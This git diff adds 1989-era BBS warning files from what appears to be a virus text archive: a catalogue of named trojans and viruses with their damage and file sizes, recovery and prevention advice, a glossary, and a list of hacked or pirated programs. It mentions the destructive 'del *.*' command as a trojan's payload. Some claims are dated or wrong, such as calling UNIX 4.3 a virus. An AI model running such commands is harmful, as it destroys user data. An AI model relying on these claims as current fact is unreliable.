trojan could do a +High Level Format; or hit ALT-X and it will say "del *.* and yes". +It can answer to the prompts and before you say, "What the +'(&^(~*%' is going on?", your system is deleted. And it can also +hide those commands. + +USE A BROWSER OR LISTER PROGRAM WHEN LOOKING AT ANY TEXT/DOC FILE; +even an editor or PC Tools Edit or word process will work. This +way, no redirection can take place. + + +ANSI IN ARC FILES: + +It has been noted that it is possible to put ANSI redirection codes +within several types of ARCers used to archive files in the BBS +community. To be safe, do not do a VERBOSE listing of an ARC unless +you make sure ANSI.SYS is disabled in your system's CONFIG.SYS. +Also, there are several utilites available through SDS nodes in +FidoNet such as STRIPZIP which will take those ANSI codes out of +the ARCed file. Current versions of LHARC, PAK, and PKZIP now +default to ANSI display turned OFF, so this helps. + +Final Note: + +Before we go into the listing as of the current date of this issue, +it seems that the Jerusalem Virus is the most natorious or the +most promient. When infected, the way to get rid of the Virus is to +run VirusScan to determine which file it is then delete that and +replace it with known GOOD file. + +------------------------------------------------------------------ + + +TITLE DEFINITIONS: + + TROJAN These programs PURPOSEFULLY damage a + user's system upon their invocation. + They usually aim to disable [Hard] disks, + although they can destroy other + equipment, too. + + VIRUS These programs are the ultimate TROJAN + designed to infect as well as destroy + the User's and other systems that it + infects. Its sole purpose is to + replicate itself while destroying the + system. This term will be used in + conjunction with those files that are + infected as well as those files that + start the virus. + + CAREFUL Programs labeled in this manner may + may not be trojans; the question is + how it's used. Use caution when running + these programs! + + * The asterisks will be used to show that + the file may or may not be "BAD" or + unresolved. + + +NOTE: If a file extension is not supplied, that means that the +file circulates under many different extensions. For instance, +users commonly upload with extensions of .ARC, .PAK, .LZH, .SDN, +.ZOO, .ZIP, or as .EXE or .COM files. + + ----------------------------------------------------------------- + | TROJAN HORSE PROGRAMS: | + ----------------------------------------------------------------- + +NAME CATEGORY NOTES +-------------- -------- --------------------------------------- + +3X3SHR *TROJAN Time Bomb type trojan wipes the [Hard] + Drive clean. File size is 78,848. + +ANTI-PCB *TROJAN The story behind this trojan horse is + sickening. Apparently one RBBS-PC + sysop and one PC-BOARD sysop started + feuding about which BBS system was + better, and in the end the PC-BOARD + sysop wrote a trojan and uploaded it to + the rbbs SysOp under ANTI-PCB.COM. Of + course the RBBS-PC SysOp ran it, and + that led to quite a few accusations and + a big mess in general. Let's grow up! + Every SysOp has the right to run the + type of BBS they please, and the fact + that a SysOp actually wrote a trojan + ntended for another sysop simply + blows my mind. + +ARC2ZIP.EXE VIRUS This Lehigh Virus strain that attacks + the COMMAND.COM and is used in + converting ARCed files to ZIPed files. + This file also copies itself into the + ZIPed file while remaining a TSR within + COMMAND.COM. Also it is always looking + for COMMAND.COM on a FLOPPY diskette, so + it has two ways to infect. + +ARC513.EXE *TROJAN This hacked version of ARC appears + normal, so beware! It will write over + track 0 of your [hard] disk upon usage, + destroying the disk. + +ARC514.COM *TROJAN This is very similar to ARC version + 5.13 in that it will overwrite track 0 + (FAT Table) of your [Hard] disk. Also, I + have yet to see an .EXE version of this + program. + +ARC533.EXE VIRUS This is a new Virus program designed to + emulate Sea's ARC program. It infects + OMMAND.COM. Lehigh Virus Type. + +BACKTALK *TROJAN This program used to be a good PD + utility, but someone changed it to be + trojan. Now this program will write/ + destroy sectors on your [hard] disk + drive. Use this with caution if you + acquire it, because it's more than + likely that you got a bad copy. + +B30012A.ARC *TROJAN Was supposed to be a Quick BBS utilty + to handle 300 baud Users. But what it + really does is delete many of the + general directories used by a Quick + BBS system. + +CDIR.COM *TROJAN This program is supposed to give you a + color directory of files on your disk, + but it in fact will scramble your disk's + File Allocation Table (FAT). + +D-XREF60.COM TROJAN A Pascal Utility used for Cross- + Referencing, written by the infamous + Dorn Stickel. It eats the FAT and + BOOT sector after a time period has + been met and if the [Hard] Drive is more + than half full. + +DANCERS.BAS *TROJAN This trojan shows some animated dancers + in color, and then proceeds to wipe out + your [hard] disk's FAT table. There is + another perfectly good copy of DANCERS. + BAS on BBS's around the country; appar- + ently the idiot trojan author altered a + legitimate program to do the dirty work. + +DISKSCAN.EXE TROJAN This was a PC-MAGAZINE program to scan + a [hard] disk for bad sectors, but then + a joker edited it to WRITE bad sectors + Also look for this under other names + such as SCANBAD.EXE and BADDISK.EXE. A + good original copy is availble on SCP + Business BBS. + +DMASTER *TROJAN This is yet another FAT scrambler. + +DOSKNOWS.EXE *TROJAN I'm still tracking this one down -- + apparently someone wrote a FAT killer + and renamed it DOSKNOWS.EXE, so it + would be confused with the real, + harmless DOSKNOWS system-status + utility. All I know for sure is that + the REAL DOSKNOWS.EXE is 5376 bytes + long. If you see something called + DOSKNOWS that isn't close to that size, + sound the alarm. + +DOS-HELP TROJAN This trojan, when made memory-resident, + is supposed to display a DOS command + that the User needs help with. Works fine + on a Diskette system, but on a [Hard] + DRIVE system, it tries to format the + [Hard] Disk with every access of + DOS-HELP. + +DPROTECT *TROJAN Apparently someone tampered with the + original, legitimate version of + DPROTECT and turned it into a FAT + eater. A good version is available + on SCP Business BBS. + +DRAIN2 *TROJAN There really is a DRAIN program, but + this revised program goes out does a Low + Level Format while it is playing the + funny program. + +DROID.EXE *TROJAN This trojan appears under the guise of + a game. You are supposedly an architect + who controls futuristic droids in search + of relics. In fact, PC-Board sysops (if + they run this program from C:\PCBOARD) + will find that it copies C:\PCBOARD\ + PCBOARD.DAT to C:\PCBOARD\HELP\HLPX. The + .EXE file is 54,272 bytes. + +DRPTR.ARC TROJAN File found on two boards in the 343 + Net. After running unsuspected file, + the only things left in the Sysop's + root directory were the subdirectories + and two of the three DOS System files, + along with a 0-byte file named + WIPEOUT.YUK. The Sysop's COMMAND.COM + was located in a different directory; + the file date and CRC had not changed. + +DSZ (Patch) *CAREFUL The author of this protocol program, + Chuck Forsberg, warns that anyone using + an Unregistered version of DSZ that was + HACKED with a downloaded PATCH to make + it work fully, might get a SCRAMBLED FAT. + Seems someone created the HACK PATCH and + then uploaded it to BBS's. *BEWARE* of + the PATCH! It is not the DSZ program that + does the dirty work, but the invalid PATCH. + +EGABTR *TROJAN BEWARE! Description says something like + "improve your EGA display," but when + run, it deletes everything in sight and + prints, "Arf! Arf! Got you!" + +EMMCACHE *CAREFUL This program is not exactly a trojan, + but it (v. 1.0) may have the capability + of destroying [Hard] disks by: + A) Scrambling every file modified after + running the program. + B) Destroying boot sectors. + This program has damaged at least two + [Hard] disks; yet there is a base of + happily registered users. Therefore, + extreme caution is advised if you decide + to use this program. + +FILER.EXE *TROJAN One SysOp complained a while ago that + this program wiped out his 20 Megabyte + [Hard] disk. I'm not so sure that he was + correct and/or telling the truth any + more. I have personally tested an + excellent file manager also named + FILER.EXE, and it worked perfectly. + Also, many other SysOp's have written + to tell me that they have like me used + a FILER.EXE with no problems. If you + get a program named FILER.EXE, it is + probably alright, but better to test it + first using some security measures. + +FILES.GBS CAREFUL When an OPUS BBS system is installed + improperly, this file could spell + disaster for the Sysop. It can let a + user of any level into the system. + Protect yourself. Best to have a + sub-directory in each upload area + called c:\upload\files.gbs (this is an + example only). This would force Opus to + rename a file upload of files.gbs and + prevent its usage. + +FINANCE4.ARC *CAREFUL This program is not a verified trojan; + there is simply a file going around + BBS's warning that it may be a trojan. + In any case, exercise extreme care with + it. + +FLU4TXT.COM TROJAN Man, when I thought we had it licked! + This Trojan was inserted into the + FluShot4.ARC and uploaded to many + BBS's. FluShot is a protector of your + COMMAND.COM. The author of FluShot + posted this Trojan warning, and I am + posting it here in the GL. If you need + a good copy, you can get it from here-- + SCP Business BBS--or on COMPUSERVE. + +FOX2.ARC TROJAN The show program was put into the FOX +(SHOW.COM) archive to display a porono on VGA. + While doing so it corrupts the FAT of + the HD. Even NU can not recover it. A + FAT recover program like MIRROR has + not yet been tested for it. + Name Size Date + Show.com 14562 06/02/85 + +FUTURE.BAS *TROJAN This "program" starts out with a very + nice color picture (of what, I don't + know) and then proceeds to tell you + that you should be using your computer + for better things than games and + graphics. After making that point, it + trashes your A: drive, and B:, C:, D: + drives until it has erased all drives. + It does not go after the FAT alone; it + also erases all of your data. As far + as I know, however, it erases only one + sub-directory tree level deep, thus + [Hard] disk users should only be + seriously affected if they are in the + "root" directory. I'm not sure about + this one either, though. + +GATEWAY2 *TROJAN Someone tampered with version 2.0 of + the CTTY monitor GATEWAY. What it + does is ruin the FAT. If you need a + good copy, you can file-request it or + pick one up from 105/301--SCP Business + BBS. + +GRABBER TROJAN This program is supposed to be a SCREEN + CAPTURE program that copies the screen + to a .COM to be run later from the DOS + command line. As a TSR, it will also + attempt to do a DISK WRITE to the [Hard] + drive when you do not want it to. It + will wipe whole Directories when doing + a normal DOS command. One sysop who + ran it lost all of his ROOT directory + including his SYSTEM files. The file + status is : + Name Size Date Time + GRABBER.COM 2583 05/28/87 22:10 + +GRASPRT.EXE VIRUS This file was in a porno file called + SEXSHOE.LZH originating from PC-EXEC + BBS. The Sysop took it off, but it had + been downloaded by a few people. This is + one of the Jerusalem-B Virus strains. + The status is: + Name Size Date Time + GRASPRT.EXE 73376 06/03/86 09:49 + +G-MAN TROJAN Another FAT killer. + +HEART.EXE VIRUS Infected with the Israeli Virus. + Displays the HEART logo on CGA monitor + while infecting the HD. File is found + on some SHAREWARE houses watch for it. + Name Size Date + HEART.EXE 13744 ????? + +JIV40.LZH VIRUS Hacked propgram of JIV - current real + program is v3.3 NOT v4.0 - It is also + infected by a Virus which attaches to + any .COM file it can find. + +KC-PAL.COM TROJAN Infects the COMMAND.COM and then attaches + to any .COM file afterward using the + COMMAND.COM during its use of Internal + commands (COPY, DIR, TYPE, etc.). The + COMMAND.COM files are enlarged in size + by 1538 bytes, and in the Time column + of the directory, listing the seconds + is reset from :00 to :62. + +LM TROJAN Deletes the COMMAND.COM and other + files from the ROOT directory of the + [Hard] Drive when the program runs. + +MAP TROJAN This is another trojan horse written by + the infamous Dorn Stickel. Designed + to display what TSR's are in memory and + works on FAT and BOOT sectors. Also + seems towork only when the [Hard] Drive + is 50 percent full or more. + +MATHKIDS.ARC *TROJAN This is a fairly benign trojan that + will not reformat your [Hard] disks or + do any system-level damage. Instead, + it is designed to crack a BBS system. It + will attempt to copy the USER file on + a BBS to a file innocently called + FIXIT.ARC, which the originator can + later call in and download. Believed + to be designed for PCBoard BBS's. + +MOUSEKEY.COM VIRUS Mouse device program infected with the + CASCADE type virus. + +NORTSHOT.ZIP TROJAN A supposed VIRUS checker - while +NORTSTOP.ZIP listing the DIR during its check + displays that the disk is Virus Free - + but during Dec. 24th and Dec. 31st it + will ERASE files in several DIR's + based on their extension. NORTSHOT.ZIP + and NORTSTOP.ZIP are same file. + Name Size Date + NORTSTOP.EXE 38907 ????? + +NOTROJ.COM *TROJAN This "program" is the most sophisti- + cated trojan horse that I've seen to + date. All outward appearances indicate + that the program is a useful utility + used to FIGHT other trojan horses. + Actually, it is a time bomb that erases + any [Hard] disk FAT IT can find and, + at the same time, it warns: "another + program is attempting a format, can't + abort! After erasing the FAT(s), + NOTROJ then proceeds to start a low + level format. One extra thing to note: + NOTROJ only damages FULL [Hard] drives; + if a [Hard] disk is under 50 percent + full, this program won't touch it! + If you are interested in reading a + thorough report on NOTROJ.COM, James H. + Coombes has written an excellent text + file on the matter named NOTROJ.TXT. + If you have trouble finding it, you + can get it from SCP Business BBS. + +PACKDIR *TROJAN This utility is supposed to "pack" + (sort and optimize) the files on a + [hard] disk, but apparently it + scrambles FATs. + +PCW271xx.ARC *TROJAN A modified version of the popular + PC-WRITE word processor (v. 2.71) has + now scrambled at least 10 FAT tables + that I know of. If you want to + download version 2.71 of PC-WRITE, be + very careful! The bogus version can be + identified by its size; it uses 98,274 + bytes whereas the good version uses + 98,644. For reference, version 2.7 of + PC-WRITE occupies 98,242 bytes. + +PKX35B35.ARC } *TROJAN This was supposed to be an update to +PKB35B35.ARC } *VIRUS PKARC file compress utility. When it is + run, it *EATS your FATS* and is said to + to infect other files so it can spread. + Possible VIRUS. + +PKPAK/PKUNPAK *CAREFUL There is a TAMPERED version of 3.61 + v3.61 that interferes with PC's interrupts. + +PKFIX361.EXE *TROJAN Supposed patch to v3.61. What it really + does when it is extracted from the .EXE + file is do DIRECT access to the DRIVE + CONTROLLER to perform a Low-Level format, + thereby bypassing checking programs. + +PK362.EXE *CAREFUL This is a NON-RELEASED version and is + suspected as being a *TROJAN*. Not + verified. + +PK363.EXE *CAREFUL This is a NON-RELEASED version and is + suspected as being a *TROJAN*. Not + verified. + +PKZ100.EXE TROJAN Supposed to be a new release of PKZIP, + but what it really does is fill up + your [Hard] drive with many directories + until the system no longer functions. + The current version is PKZIP v.092. + +PKZ120.EXE TROJAN Modeifies the AREAS.BBS of BBS's that + use such a file. Replaces addreses in + that file with dummy addreses. then + deletest itself to avoid any way to + desipher how it works. + Name Size Date + PKZ120.EXE 172,000approx. 09/13/89 + +QUIKRBBS.COM *TROJAN This Trojan horse advertises that it + will install a program to protect your + RBBS but it does not. It goes and eats + away at the FAT instead. + +QUIKREF *TROJAN This ARChive contains ARC513.COM. + It is supposed to load RBBS-PC's message + file into memory two times faster than + normal. What it really does is copy the + RBBS-PC.DEF into an ASCII file named + HISCORES.DAT. + +RCKVIDEO *TROJAN This is another trojan that does what + it's supposed to do, and then wipes out + [Hard] disks. After showing some simple + animation of a rock star ("Madonna," I + think), the program will go to work on + erasing every file it can lay it's + hands on. After about a minute of this, + it will create three ASCII files that + say, "You are stupid to download a + video about rock stars," or something + of the like. + +SECRET.BAS *TROJAN BEWARE!! This may be posted with a note + saying it doesn't seem to work, and + would someone please try it; when you + do, it formats your disks. + +SIDEWAYS.COM *TROJAN Be careful with this trojan; there is a + perfectly legitimate version of + SIDEWAYS.EXE circulating. Both the + trojan and the good SIDEWAYS advertise + that they can print sideways, but + SIDEWAYS.COM will trash a [hard] disk's + boot sector instead. The trojan .COM + file is about 3 KB, whereas the + legitimate .EXE file is about 30 KB + large. + +STAR.EXE *TROJAN Beware RBBS-PC SysOps! This file puts + some stars on the screen while copying + RBBS-PC.DEF to another name that can be + downloaded later! + +STRIPES.EXE *TROJAN Similar to STAR.EXE, this one draws an + American flag (nice touch), while it's + busy copying your RBBS-PC.DEF to + another file (STRIPES.BQS) so the joker + can log in later, download STRIPES.BQS, + and steal all your passwords. Nice, huh? + +SUG.COM TROJAN This one is supposed to go out and + unprotect copy protected programs disks + by Softguard Systems, Inc. After it + trashes your disk, it comes back and + displays: + "This destruction constitutes a prima + facie evidence of your violation. If + you attempt to challenge Softguard + Systems Inc..., you will be vigorously + counter-sued for copyright infringement + and theft of services." + AND it by-passes any attempt by CHK4BOMB + to search for the any hidden messages + that tell you, "YOU BEEN HAD... or + GOTCHA>>> Ar..Ar..Ar... It encrypts the + Gotcha message so no Trojan checker can + scan for it. + +TIRED *TROJAN Another scramble-the-FAT trojan by Dorn + W. Stickel. + +TOPDOS *TROJAN This is a simple high level [hard] disk + formatter. + +TSRMAP *TROJAN This program does what it's supposed to + do: give a map outlining the location + (in RAM) of all TSR programs, but it + also erases the boot sector of drive + "C:". + +ULTIMATE.EXE TROJAN Another FAT eater. File status: + Name Size + ULTIMATE.EXE 3090 + ULTIMATE.ARC 2432 + +UNIX VIRUS The UNIX operating system by Berkley, + verson 4.3, is an INTERNET virus. A + Patch is available on SCP Business + BBS. This is the MAIL PACKET VIRUS. + +VDIR.COM *TROJAN This is a disk killer that Jerry + Pournelle wrote about in BYTE Magazine. + I have never seen it, although a + responsible friend of mine has. + +VGA2CGA.ARC VIRUS CGA converter - infected with the + AIDS/Hahaha - has been found on many + USA West Coast BBS's. + +VU.EXE *VIRUS Infected with the 1704-B Virus. Has not + been confirmed. And is unkown what the + file is supposed to do. + +WOW *VIRUS Also known as the 1701 Virus. This + is a new strain of the Lehigh Virus + as it not only looks for COMMAND.COM, + but any .COM file. As it does it, the + infected file is enlarged 1,701 bytes + in SIZE. The infection takes as you + run the .COM. WOW is a TSR. What happens + when you run WOW is that it displays an + advertisement: + ""The Wizards of Warez" + in assocoation with + the copycats + the Pirates Unlimited + OUTRUN + WOW 1989 " + The virus is also known as WOWTITLE. + + + ----------------------------------------------------------------- + | If you run a trojan horse..... | + ----------------------------------------------------------------- + +While reading this, bear in mind that there is no better remedy +for a drive that has run a trojan horse and been damaged than a +recent backup. + +The first thing to do after running what you think to be a trojan +horse is to diagnose the damage. Was your [hard] drive formatted? +Did the trojan scramble your FAT table? Did every file get +erased? Did your boot sector on the [hard] drive get erased/ +formatted? Odds are that the trojan incurred one of these four +disasters. After the initial diagnosis, you are ready to remedy +the problem. + +1) If the trojan low-level formatted your [hard] disk: + Hope that you have a recent backup; that's the only sure + remedy for this disease. + +2) If the trojan high-level formatted your [hard] disk: + There is only one way out of this mess, and that is to use + the MACE+ utilities by Paul Mace. MACE+ has two devices in + it to recover formatted disks, and believe me, they work! I + will talk more about the MACE+ utilities later. + +3) If the trojan scrambled your FAT table: + Once again, there is nothing to do. However, there is a + program called FATBACK.COM (available on my board named as + FATBACK.ZIP) that will back up your FAT table in under a + minute to floppy. Using FATBACK, it is easy and non time- + consuming to back up your FAT regularly. + +4) If the trojan erased file(s), and the FAT table is undamaged: + There are many packages to undelete deleted files. Norton + Utilities, PC-Tools, MACE+, and many others will do the + job. I recommend the first three, they are commercially + available at most computer software stores or mail-order + stores. Mace Utilities can also be purchased from SOFTEX on + CompuServe. When you are undeleting, be sure to undelete files + in the order of last time written to disk. + +5) If the boot sector on your [hard] disk gets erased/formatted: + There are four things to do if this happens, and the worst + that can happen is that you will go without a [hard] disk for + a while. To be on the safest side, back up everything before + even proceeding to step "A," although I cannot see why it + would be necessary. + + A) Try doing a "SYS C:" (or "SYS A:") from your original + DOS disk, and copy COMMAND.COM back onto the [hard] + drive after that. Try booting, and if that doesn't + work, try step B. + + B) If you have the MACE+ utilities, go to the "other + utilities" section and "restore boot sector." This + should do the job if you have been using MACE+ + correctly. If using PCTOOLS Delux us the MIRROR + REBUILD utility function. + + C) If you are still stuck, BACK UP EVERYTHING and proceed + to do a low-level format. Instructions on how to + perform a low-level format should come with your [hard] + disk controller card. Be sure to map out bad sectors + using either SCAV.COM by Chris Dunford or by manually + entering the locations of bad sectors into the low-level + format program. After the low level format on your hard + disk, run FDISK.COM (it comes with DOS) and create a DOS + partition. Refer to your DOS manual for help in using + FDISK. Then put your original DOS diskette in drive A: + and do a FORMAT :/S/V. Drive letter can + stand for "C" or "B" depending on whether you are + reformatting a [Hard] disk or not. Finally you are ready + to attempt a reboot. + + D) If you are still stuck, either employ some professional + computer repair person to fix your drive, or live with a + non-bootable [hard] drive. + + +A few words of caution on prevention: + +1) Get the protection programs from a RELIABLE source. Always ask +about any unknown program - virus protection or otherwise - before +downloading or running it. Know your source! Get it from +SDNet/Works! FidoNet nodes if they come through SDN. + +2) Don't let down your guard! Most virus protection programs +intercept specific types of activities (disk writes, for example) +or specific viruses (such as Apple's VirusRX targeting the Scores +virus). So USE A VIRAL CHECKER when running new BBS programs. Use +** VirusScan! ** + +3) Make periodic file listings and compare them regularly to prior +listings. Look for unusual changes or unfamiliar files like Hidden +or System files. INVESTIGATE ANYTHING OUT OF THE ORDINARY! Is your +system slowing down or failing all the time? + +4) BACKUP - BACKUP - BACKUP! Keep current backups. I know, I +know. Everyone tells you, even your mom (smile). At least make +regular copies of your most important databases and files, and +most important, KEEP your OLD COPIES around a little longer +just to be on the safe side. I have a set devoted strictly to a +MASTER BACKUP in case my system's current backup is bad. Then all +is not lost as I have a MASTER to put me back up. + +5) Don't run programs that you got off a BBS on your BOSS's +machine! Use your own PC first. This could save you the +embarrassment of facing his ugly mug (smile) and loosing your +job. Many companies now have policies regarding this. + +6) Never run or access a diskette that might contain the SYSTEM +files. These may be contaminated and could infect your system. +Know your source! The same goes for the COMMAND.COM. + +7) USE WRITE PROTECT TABS! A virus can't infect something it +can't write to. Use them; they are the cheapest method of +prevention. + + * REMEMBER: The Best Defense is Good * BACKUP * + + + --------------------------------------------------------------- + | Update History: | + --------------------------------------------------------------- + +Version 1.0a The first list of The Guardian compiled from the + Dirty Dozen List and from the DIRTY_DOZEN echo + conference. The Guardian List will be distributed + thru FidoNet and LCRNET. It, unlike the Dirty + Dozen List, is comprised of only Trojans and + Viruses and is sent out more often than The Dirty + Dozen List. Added PK100.EXE, B30012A.ARC. + +Version 1.0b Added plug for SDNet/Works!, and a plug for + VirusScan utility. Added GRASPRT.EXE, KC-PAL.COM + +Version 1.0c Added FOX2.ARC(Show.com), HEART.EXE, JIV40.LZH, + JIV.COM, MOUSEKEY.COM, NORTSTOP.ZIP/NORTSHOT.ZIP, + PKZ120.EXE, VGA2CGA.ARC, VU.EXE - also reworded + text file by Sally Nueman. + + ----------------------------------------------------------------- + | Glossary: | + ----------------------------------------------------------------- + + +I have intended this glossary for the beginning to intermediate +user; all experienced BBS users will be bored to death with this. + +?Q? -- (? standing for any character). File + extension for SQueezed files. Squeezed files + are unusable until unsqueezed by a utility + such as NUSQ.COM or USQ.COM. The advantage of + a SQueezed file is that it is smaller than a + regular UnSQueezed file, thus saving disk + space and download time. ARChives are more + efficient than Squeezed files; that's why + there are so many more ARChives on BBS's these + days. Example of the extensions of SQueezed + files: .EQE, .CQM, .LQR, .TQT, .DQC, etc. +ABBRV -- Abbreviation for the word: "abbreviation". +ARC -- File extension for an ARChive file -- many + files combined together to save space and + download time that require ARC.EXE, + PKXARC.COM, ARCE.COM, or ARCLS.EXE to separate + the files in to runnable and readable (in the + case of text) form. +BAS -- Abbrv for "BASIC," as in the programming + language. +BBS -- Abbrv for "Bulletin Board System". +BBS's -- Abbrv for "Bulletin Board Systems". +BOARD -- Also "Bulletin Board System". +BOGUSWARE -- Software that is damaging to one or more + parties. +BOOT or -- To boot a computer is to restart it from + REBOOT scratch, erasing all TSR programs. One + reboots by either powering off and then back + on, or pressing ctrl-alt-del at the same time. +BYTES -- Bytes measure the length of a file, with one + byte equaling one character in a file. +CACHE [disk] -- Area of memory set aside to hold recent data. + All programs then read recent data from that + memory rather than from disk. +CLUSTER -- A physical block on all [hard] disks + composed of sectors that hold data. +COM -- File extension for a file that is executable + from DOS level. +DD -- Abbrv for "dirty dozen". +DOC -- Abbrv for "documentation". +EMS -- Enhanced Memory Specification. An EMS card + holds 2 MB extra memory. +EXE -- File extension for a file that is executable + from DOS level. +FIDONET -- A network designed and created by Tom + Jennings and his software. A TRADEMARK. +HACKED -- A program that has been changed in some way by + another person or program. +HIGH-LEVEL -- This type of format is what most computer + FORMAT users view as a regular DOS-format. That is, + formatting a disk using FORMAT.COM (included + with DOS) is a high-level format. +IBM -- Abbrv for International Business Machines +IBM OR COMP -- IBM computer or a 99% or greater IBM + Compatible computer. +KB OR K -- Abbrv for "KiloBytes." One Kb equals 1024 + bytes. +LBR -- Extension on Library files. Library files are + really many combined files like ARChives, but + they require different utilities to extract + the individual files. Some examples of such + utilities are LUU.EXE, LUE.EXE, LAR.EXE, AND + ZIP.EXE. See "ARC". +LOW-LEVEL -- This type of format is only executed on a + FORMAT [Hard]disk; therefore, most [Hard] disk low- + level format programs come only with a [Hard] + disk controller card. There are a few PD low- + level formatting packages, though. Most + manufacturers low level format their [Hard] + drives at the factory. Low level formatting + is the first step in the three-part formatting + process; the second step is to use FDISK, and + the third is to execute a high-level format. +MB -- Abbrv for "Megabytes," or "millions of bytes." +MISC -- Abbrv for "miscellaneous". +OPTIMIZE -- To make all files on a disk "contiguous," or + physically linked together on a [hard] drive. +PAK -- An alternate ARCer used in the BBS community. +PATCH -- A file that is patched (combined) into another + file to change the original file in some way. +PD -- Abbrv for "Public Domain". +PIRATED -- An altered program that normally is sold but + hacked to resemble a PD program. +RAM -- Abbrv for "Random Access Memory" (memory + used by software). +RBBS -- Abbrv for RBBS-PC, a type of BBS (Remote + Bulletin Board System). +ROM -- Abbrv for "Read Only Memory" (memory used by + hardware to boot). +SDN -- File extension used by SDNet/Works! to + identify an SDNet/Works! published ShareWare + files. These files are direct from the Author + and are be Virus/Trojan free if obtained from + participating SDNetWorks! BBS. +SDS -- System Distribution System. A FidoNet + subsystem that is used to distribute BBS + software, utilities, and newsletters. +SYSOP -- Abbrv for SYStem OPerator of a BBS. +TROJAN -- Program used to destroy or hamper a computer + in some manner. +TSR -- Abbrv for "Terminate and Stay Resident"; + Synonym = "Memory Resident". +TXT -- Abbrv for "text". +USU -- Abbrv for "usually". +UNP -- Abbrv for "unprotect". +UNPROTECT -- An "unprotect file" is a patch file that + results in the breaking of copy protection (no + doubt for backup purposes). +UTIL -- Abbrv for "utility". +VIRUS/WORM -- The Ultimate Trojan! Designed to infect the + computer system and to replicate itself to + survive. +ZIP -- An alternate ARCer used by the BBS community. +ZOO -- All files compressed with ZOO.EXE bear this + file extension. ZOO-compressed files are NOT + compatible with ARC.EXE. + + + << End of file >> diff --git a/textfiles.com/virus/hackmisc.9 b/textfiles.com/virus/hackmisc.9 new file mode 100644 index 00000000..a839497d --- /dev/null +++ b/textfiles.com/virus/hackmisc.9 @@ -0,0 +1,169 @@ + +------------------------------------------------------------------ +| HACKED/MISCELLANEOUS FILES: | +| | +| Issue #9: June 9, 1989 | +| | +| Maintained by Eric Newhouse | +------------------------------------------------------------------ +| Hacked (H) -- See definitions | +| Miscellaneous (M) -- See definitions | +| | +| TYPES: | +| | +| Careful (C) -- Not confirmed, caution advised. | +| Game (G) -- Recreational software | +| Patch (P) -- Modification to another program | +| usually performed through debug. | +| Text (T) -- Text / Documentation File | +| Util (U) -- Utility of some sort | +------------------------------------------------------------------ + + +Name Size Category Notes +------------- ------ -- ---------------------------------------- +AUTOMAXX.ARC HC This DOS menu-making program comes with + documentation that Marshall Magee, author + of the popular AUTOMENU program, contends + is plagiarized. Marshall believes that + the AUTOMAXX documentation uses exact + phrases from his documentation, and if + this is the case, AUTOMAXX is clearly + illegal. However, as I understand it, + the courts are currently deliberating on + the case, so AUTOMAXX is not currently + illegal. of today. For more information, + please contact Marshall Magee at (404) + 446-6611. + +CLIPPER.ARC 186803 MU This is a Norton Guides module for +CLIP_NG.ARC the Clipper Dbase Compiler. Nantucket, + the makers of Clipper, forbid + distribution. + +COPYWRIT 2??? MP Although the real COPYWRITE is going + around Bulletin Boards like fire, there + is another illegal file under the same + name. The former takes around 40 KB + ARC-ed, whereas this takes about 2 KB. + What I'm referring to is an archive of + 1-3 files that explains how to remove + the serial numbers from copywrite. Now + it's allright to "unprotect" a program + for backup purposes, but removing serial + numbers can only lead to piracy. + +DOG101A.COM HC This may be hacked; keep an eye out + for it as well as DOG102A.COM. + +DOG102A.COM HC Apparently this is a renamed early + version of DP102A.ARC, a disk optimizer. + One person has reports that it trashes + hard disks that use DOS 3.1 (2KB + clusters). + +FLUSH4.ARC H This is apparently FluShot v. 3.0. Be + careful with this; it comes with a trojan + horse disguised as self-executable + documentation. + +LIST60 H Vern Buerg's LIST 5.1, patched to read + 6.0. Mr. Buerg has released a legitimate + version 6.0 of LIST. Every legit. + version will have a letter in the + filename (e.g. LIST60H.ARC) + +LIST799 H Vern Buerg's LIST 5.1, patched to read + 7.99. + +LOCKPICK MT This is a text file, usually with a + .TXT extension, that casually explains + how to pick locks. This is not + illegal, but it's definitely in + poor taste. It could be used as + evidence against a burglar, though. + +LZM11.EXE 37376 MU SysOps work hard to maintain BBS's and + to offer quality programs to the general + public. Although we all may not like + upload/download ratios, common sense + indicates that if a SysOp wants to + maintain an upload/download ratio, then + s/he has that right. LZM, or Leech + Zmodem, attempts to circumvent this + right. LZM downloads files using Chuck + Foresburg's DSZ and aborts the transfer + instantly after receiving the last block + of information. Thus the BBS does not + count the download against the callers + account, thinking the download + unsuccessful, and the caller winds up + with a "free" copy of the file. SysOps, + please unite against this menace. I + strongly recommend that you threaten to + permanently remove any caller you catch + using LZM. Any version of DSZ later + than 1/8/89 can detect and nullify LZM + 1.1. However, LZM 1.2 is already + circulating boards and it reputedly + defeats the 1/13/89 version of DSZ. Be + Careful. + +MONEY.ARC MT This text file claims that with minimal +MONEY.TXT 11648 effort YOU can become a millionaire. + This text file, as some of you may know, + is simply another chain (pyramid) letter + that is of course illegal. A pyramid + writer sends a letter to four people + requesting money. Then, according to + the pyramid writer's plan, those four + will send letters to four more asking + for money for themselves and the + original writer. Unfortunately when the + chain breaks people lose money. What + one person gains someone else must lose. + That's why this type of letter is + illegal. +MONOPOLY MG Finally I am SURE that this file + violates Parker Brother's rights + to the famous boardgame. Don Gibson has + agreed that monopoly should NOT be + distributed anymore, so SysOps, please + remove this file from your download + directories. + +MOVBASIC or MU This highly illegal file, sometimes also +SBASICA called SBASICA, breaks IBM's copyright + on BASIC and BASICA. It creates new + files called SBASIC or SBASICA that run + "IBM BASIC" on an IBM clone. C'mon, + don't you think that these clones don't + run IBM BASICA for a good reason? The + clones don't support BASICA because it's + illegal! This file comes with Alloy's + PC-Slave card. Alloy has a license + agreement, and users of the PC-Slave are + allowed to create copies of IBM BASIC + for themselves. NO ONE ELSE IS. Stop + complaining that this file is legal, + people; this is one of the more blatent + cases of piracy that I've seen. + +NEWARKR.EXE H Phil Katz's PKWare Package with all + references to the PKWare license removed. + +PKXARC36.EXE H Phil Katz's PKXARC 3.5 patched to read + 3.6 + +PKXARC53.EXE H Phil Katz's PKXARC 3.5 patched to read + 5.3 + +QMDM110.ARC H This is version 1.09 of Qmodem patched + to read 1.10. There have been rumors of + a worm in 1.10, but I have seen no + evidence of it. Other versions are OK. + +XTALK MP Like Copywrite, there is a patch + circulating BBS's to remove the serial + numbers from Crosstalk. + \ No newline at end of file diff --git a/textfiles.com/virus/hate.txt b/textfiles.com/virus/hate.txt new file mode 100644 index 00000000..de4e8509 --- /dev/null +++ b/textfiles.com/virus/hate.txt @@ -0,0 +1,20 @@ +�袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴敲 